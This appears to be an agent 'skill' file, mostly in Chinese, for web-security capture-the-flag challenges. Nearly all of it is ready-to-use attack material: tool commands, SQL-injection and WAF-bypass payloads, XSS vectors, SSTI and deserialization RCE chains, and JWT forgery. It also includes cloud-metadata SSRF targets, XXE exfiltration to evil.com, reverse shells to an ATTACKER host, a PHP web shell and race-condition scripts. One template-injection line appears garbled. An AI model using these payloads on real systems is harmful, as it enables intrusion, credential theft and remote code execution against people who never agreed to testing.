web-security

name	web-security
description	Use when facing web security challenges involving injection, authentication bypass, IDOR, access control, CSRF, HRS, server-side vulnerabilities, or web application exploitation

Web Security CTF Skill

容器可用工具

工具	命令	用途
nmap	nmap -sV -sC -p- target	端口扫描、服务识别
ffuf	ffuf -u URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt	目录/参数 Fuzz
sqlmap	sqlmap -u "URL?id=1" --batch --tamper=space2comment	SQL 注入自动化
whatweb	whatweb URL	技术栈识别
nuclei	nuclei -u URL -t cves/	模板化漏洞扫描
httpx	httpx -u URL -title -status-code -tech-detect	Web 探测
katana	katana -u URL -d 3	爬虫/URL 发现
subfinder	subfinder -d domain.com	子域名枚举
arjun	arjun -u URL	隐藏参数发现
wpscan	wpscan --url URL	WordPress 扫描
commix	commix -u "URL?cmd=test"	命令注入自动化
hydra	hydra -l admin -P wordlist target http-post-form "..."	在线暴力破解
sslscan	sslscan target	SSL/TLS 检测
tplmap	tplmap -u "URL?name=test"	SSTI 自动检测
xsstrike	xsstrike -u "URL?q=test"	XSS 检测
clairvoyance	clairvoyance -u URL/graphql	GraphQL Schema 侦察
jwt-tool	jwt-tool TOKEN	JWT 攻击
gopherus	gopherus --exploit mysql	SSRF gopher 协议利用
phpggc	phpggc Laravel/RCE1 system id	PHP 反序列化链生成
ysoserial	ysoserial CommonsCollections1 'cmd'	Java 反序列化链生成

词表: /usr/share/seclists/

---

首触侦察 (任何目标先跑这5步)

curl -sI "$URL" | head -30                                    # 响应头 → Server/X-Powered-By/Set-Cookie
whatweb "$URL" 2>/dev/null                                    # 技术栈指纹
ffuf -u "${URL}/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403 2>/dev/null
curl -s "$URL/robots.txt"; curl -s "$URL/.git/HEAD"; curl -s "$URL/www.zip" -o /dev/null -w "%{http_code}"
arjun -u "$URL" --stable 2>/dev/null                          # 隐藏参数发现

---

漏洞调度表

类型	识别特征	Module
SQL 注入	参数回显异常、' 报错、搜索框	modules/sqli.md
XSS	输入回显到页面、评论/昵称	modules/xss.md
命令执行	ping 功能、参数拼接到命令	modules/rce.md
文件包含	page=/file=/include=	modules/lfi.md
文件上传	头像/附件上传入口	modules/upload.md
SSRF	URL 参数、图片加载、PDF 生成	modules/ssrf.md
SSTI	{{7*7}}→49、模板语法回显	modules/ssti.md
XXE	XML 输入、SOAP、text/xml	modules/xxe.md
反序列化	base64 blob、serialize 参数	modules/deserialize.md
PHP 特性	弱类型==、伪协议	modules/php.md
JWT	Bearer / eyJ 开头 cookie	modules/jwt.md
Java	Spring/Struts/Shiro/SpEL	modules/java.md
区块链	Solidity、合约地址	modules/blockchain.md
组件漏洞	已知版本号、中间件指纹	modules/cve.md
IDOR	数字ID/UUID 在 URL/API 中	modules/idor.md
认证绕过	登录/OTP/2FA、session	modules/auth-bypass.md
访问控制	角色权限、越权	modules/access-control.md
业务逻辑/竞态	购买/优惠券/余额/并发	modules/business-logic.md
CSRF/HRS	表单提交、HTTP 走私	modules/request-forgery.md
信息搜集

---

Payload Cheatsheets

1. SQL 注入

-- 联合注入
' ORDER BY 10-- -
' UNION SELECT NULL,NULL,NULL-- -
0' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -

-- 报错注入 (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- 时间盲注 (多数据库)
' AND IF(1=1,SLEEP(3),0)-- -                                                   -- MySQL
';WAITFOR DELAY '0:0:3'--                                                       -- MSSQL
' AND 1=dbms_pipe.receive_message(('a'),3)--                                    -- Oracle
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END)


;HANDLER `tablename` ;HANDLER `tablename` READ ;

WAF 绕过速查:

空格:     /**/  %09  %0a  %0d  %a0  /*!*/
关键字:   ununionion selselectect  |  UnIoN SeLeCt  |  /*!50000UNION*//*!50000SELECT*/
引号:     0x486578 (hex)  |  CHAR(97,100,109,105,110)
逗号:     UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
等号:     LIKE  |  REGEXP  |  BETWEEN...AND  |  IN()
OR/AND:   ||  &&  |  %26%26  |  %7C%7C
双重编码: %2527 → %27 → '   |   %25%36%31 → %61 → a
Unicode:  %u0027 (IIS)  |  ＇(fullwidth U+FF07)
HPP:      id=1&id=UNION&id=SELECT  (参数污染拼接)
JSON:     {"id":"1 UNION SELECT 1,2,3"}  (WAF 可能不查 JSON body)
Chunk TE: Transfer-Encoding: chunked 分块发送绕过 body 检测

sqlmap tamper:

sqlmap -u "URL" --batch --tamper=space2comment,between,randomcase
sqlmap -u "URL" --batch --tamper=charencode,chardoubleencode     # 双重编码
sqlmap -u "URL" --batch --random-agent --delay=1 --technique=T   # 慢速盲注
sqlmap -r request.txt --batch --level=5 --risk=3                 # burp 请求
sqlmap -u "URL" --batch --os-shell                               # 直接 shell

2. XSS

<!-- 标签绕过 -->
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<body onpageshow=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>

<!-- 属性上下文逃逸 -->
" autofocus onfocus=alert(1) x="
javascript:alert(1)//

<!-- JS 上下文逃逸 -->
</script><script>alert(1)</script>
'-alert(1)-'
\'-alert(1)//

<!-- 编码绕过 -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<svg onload=\u0061\u006c\u0065\u0072\u0074(1)>
<script>eval(atob('YWxlcnQoMSk='))</script>
<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>








{{$eval.constructor('alert(1)')()}}
                          

DOM XSS sink: innerHTML, document.write(), eval(), setTimeout(str), location.href=, jQuery.html()

3. 命令执行绕过

# 空格绕过
cat${IFS}/etc/passwd       |  {cat,/etc/passwd}         |  cat</etc/passwd
cat$IFS$9/etc/passwd       |  X=$'\x20';cat${X}/etc/passwd

# 关键字绕过
ca\t /etc/passwd           |  c'a't /etc/passwd          |  c"a"t /etc/passwd
/???/c?t /???/p?ss??       |  $(printf '\x63\x61\x74') /etc/passwd
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh

# 分隔符: ;  |  ||  &  &&  %0a  %0d  `cmd`  $(cmd)

# 反弹 shell
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}'
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

4. SSTI (按引擎)

检测决策树: ${7*7}=49 → ${class.getResource("")} 有输出→Freemarker, 否→Velocity {{7*7}}=49 → {{7*'7'}}='7777777'→Jinja2, 否→Twig #{7*7}=49 → ERB/EL | <%= 7*7 %>=49 → ERB/EJS

Jinja2 (Python/Flask):

# RCE 入口
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}
{{request.__class__._load_form_data.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

# 过滤 . → [] 或 |attr()
{{''['__class__']['__mro__'][1]['__subclasses__']()}}
{{''|attr('__class__')|attr('__mro__')|last|attr('__subclasses__')()}}

# 过滤 _ → request 或 hex
{{''[request.args.a]}}  &a=__class__
{{''|attr('\x5f\x5fclass\x5f\x5f')}}

# 过滤 [] → |attr() + |list + .pop()
{{(''|attr('__class__')|attr('__mro__')|list).pop(1)}}

# 过滤引号 → chr()
{% set chr=''.__class__.__mro__[-1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
{{chr(111)~chr(115)}}

# 过滤 {{}} → {% %} + print
{% print(config) %}

# 沙箱逃逸 (找 warning 类)
{% for x in ''.__class__.__mro__[1].__subclasses__() %}{%    x.__name__ %}{{x()._module.__builtins__[]().popen().read()}}{% endif %}{% endfor %}

Twig (PHP):

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}  // Twig 1.x
{{['id']|filter('system')}}    // Twig 3.x
{{['id']|map('system')}}       // Twig 3.x 备选
{{'/etc/passwd'|file_excerpt(0,100)}}  // 文件读取

Freemarker (Java):

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}
[#assign ex="freemarker.template.utility.Execute"?new()]${ex("id")}  // 方括号语法

Velocity (Java):

#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end

Smarty (PHP): {system('id')} | {if system('id')}{/if}

5. 文件包含 (LFI)

=== PHP 伪协议 ===
php://filter/read=convert.base64-encode/resource=index.php       # 读源码
php://filter/convert.iconv.UTF-8.UTF-7/resource=index.php        # 绕过关键字
php://input                                                       # POST body 执行
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+   # <?php system($_GET['c']);?>
phar://uploads/evil.jpg/shell.php                                 # phar 解析

=== 日志/Session ===
/var/log/apache2/access.log    /var/log/nginx/access.log          # UA 注入代码后包含
/tmp/sess_SESSIONID            /var/lib/php/sessions/sess_xxx     # session 注入

=== /proc ===
/proc/self/cmdline  /proc/self/environ  /proc/self/fd/N  /proc/self/maps

=== 遍历绕过 ===
../../../etc/passwd           ..%2f..%2f..%2fetc/passwd           # URL 编码
..%252f..%252f..%252fetc/passwd                                   # 双重编码
....//....//....//etc/passwd                                      # 双写绕过

PHP filter chain RCE: php_filter_chain_generator.py -c '<?php system($_GET["c"]);?>' → 无文件写入 RCE

6. JWT

import jwt
# None 算法
token = jwt.encode({"user":"admin","role":"admin"}, key="", algorithm="none")
# RS256→HS256 混淆
pub = open("public.pem","rb").read()
token = jwt.encode({"user":"admin"}, pub, algorithm="HS256")
# kid 注入: {"kid":"../../dev/null"} → 空密钥  |  {"kid":"key' UNION SELECT 'secret'-- -"} → SQLi
# jku 注入: {"jku":"https://evil.com/jwks.json"} → 用你的 RSA 密钥

jwt-tool TOKEN -X a                   # alg:none
jwt-tool TOKEN -X k -pk public.pem    # key confusion
jwt-tool TOKEN -C -d rockyou.txt      # 密钥爆破
jwt-tool TOKEN -I -pc user -pv admin  # 修改 claim

7. SSRF

IP 绕过 (127.0.0.1/localhost):

2130706433 | 0x7f000001 | 0177.0.0.1 | 127.1 | 0.0.0.0 | [::1] | [::]
127.0.0.1.nip.io (DNS rebinding) | 0x7f.0x0.0x0.0x1

云元数据:
  AWS:  http://169.254.169.254/latest/meta-data/iam/security-credentials/
  GCP:  http://metadata.google.internal/computeMetadata/v1/  (Metadata-Flavor: Google)
  Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01  (Metadata: true)
  阿里云: http://100.100.100.200/latest/meta-data/

URL 解析差异: http://evil.com@127.0.0.1/  |  http://127.0.0.1#@evil.com  |  http://0/
协议: file:///etc/passwd  |  dict://127.0.0.1:6379/info  |  gopher://

gopher 内网:
  gopherus --exploit mysql/redis/fastcgi

8. PHP 反序列化

// 魔术方法: __destruct → __toString → __call → __get → __invoke
// 绕过 __wakeup (CVE-2016-7124): O:4:"Test":2:{...} → O:4:"Test":3:{...}

phar:// 触发 (无需 unserialize):

$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($evil_obj);  // POP chain 对象
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
// 触发: file_exists/is_dir/fopen/file_get_contents("phar://uploads/evil.gif/test.txt")

phpggc:

phpggc -l                              # 列出可用链
phpggc Laravel/RCE1 system 'id'        # Laravel
phpggc Monolog/RCE1 system 'id'        # Monolog
phpggc Symfony/RCE4 system 'id'        # Symfony
phpggc ThinkPHP/RCE1 system 'id'       # ThinkPHP
phpggc -b -f                           # -b base64, -f fast-destruct

9. 竞态条件

import requests, threading

url = "http://target.com/api/transfer"
s = requests.Session()
s.post("http://target.com/login", data={"user":"test","pass":"test"})

def race():
    r = s.post(url, data={"to":"attacker","amount":"1000"})
    print(r.status_code, r.text[:80])

threads = [threading.Thread(target=race) for _ in range(50)]
for t in threads: t.start()
for t in threads: t.join()

文件上传竞态 — 同时上传+访问:

def upload():
    requests.post("http://target.com/upload", files={'file':('shell.php','<?php system($_GET["c"]);?>','image/png')})
def access():
    r = requests.get("http://target.com/uploads/shell.php?c=id")
    if "uid=" in r.text: print("[+]", r.text)
for _ in range(100):
    threading.Thread(target=upload).start()
    threading.Thread(target=access).start()

10. HTTP 请求走私

CL.TE (前端 Content-Length, 后端 Transfer-Encoding):

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

GPOST / HTTP/1.1
Host: target.com

TE.CL (前端 Transfer-Encoding, 后端 Content-Length):

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
GPOST /
0

TE 混淆: Transfer-Encoding : chunked (空格) | Transfer-Encoding: xchunked | Transfer-Encoding: chunKed (大小写) | X: x\nTransfer-Encoding: chunked (header injection)

11. GraphQL

# Introspection (获取 schema)
{__schema{types{name,fields{name,args{name,type{name}}}}}}

# 批量枚举
{ a:user(id:1){password} b:user(id:2){password} c:user(id:3){password} }

# Mutation 提权
mutation { updateUser(id:1, role:"admin") { id role } }

# SQLi via GraphQL
 user  id password  

Introspection 禁用时: clairvoyance -u URL/graphql -w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt

12. XXE

<!-- 文件读取 -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

<!-- OOB 外带 (无回显) -->
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
  <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
  %dtd;
]>
<!-- evil.dtd: <!ENTITY % exfil SYSTEM "http://evil.com/?d=%file;"> %exfil; -->

<!-- SSRF via XXE -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>

<!-- SVG XXE (图片上传) -->
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text>

13. 文件上传绕过

后缀: .phtml .php3 .php5 .pht .phar .php7 .pHp | .jspx .jspf | .aspx .cer .asa
双写: .pphphp | 截断: .php%00.jpg (PHP<5.3.4)
.htaccess: AddType application/x-httpd-php .xxx
.user.ini: auto_prepend_file=shell.jpg
MIME: Content-Type: image/png
文件头: GIF89a<?php system($_GET['c']);?>
解析漏洞:
  Apache: test.php.xxx (未知后缀向前)  |  Nginx: /test.jpg/x.php (fix_pathinfo)
  IIS 6: test.asp;.jpg               |  IIS 7: test.jpg/x.php

14. WAF 通用绕过

=== 编码 ===
URL: %27→'  %3C→<  | 双重: %2527→%27→'  | Unicode: %u0027 %uff07  | HTML: &#39; &#x27;

=== 传输 ===
Chunked TE: 分块发送绕过 body 检测  | HTTP/2: h2 降级差异
HPP: id=1/*&id=*/UNION+SELECT  | JSON body: WAF 可能不检查
Multipart boundary 混淆

=== 逻辑 ===
大小写: SeLeCt  | 注释: SEL/**/ECT /*!50000SELECT*/  | 空白: %09 %0a %0b %0c %0d %a0
拼接: CONC/**/AT() | 'ad'+'min'  | 换行: %0a  | 溢出: padding 4000+ 字符使 WAF 放弃

---

Modules 调用规则

modules/ 包含各漏洞的详细攻击手册。本文件 payload 不够用时读取对应 module 获取完整流程和特殊场景处理。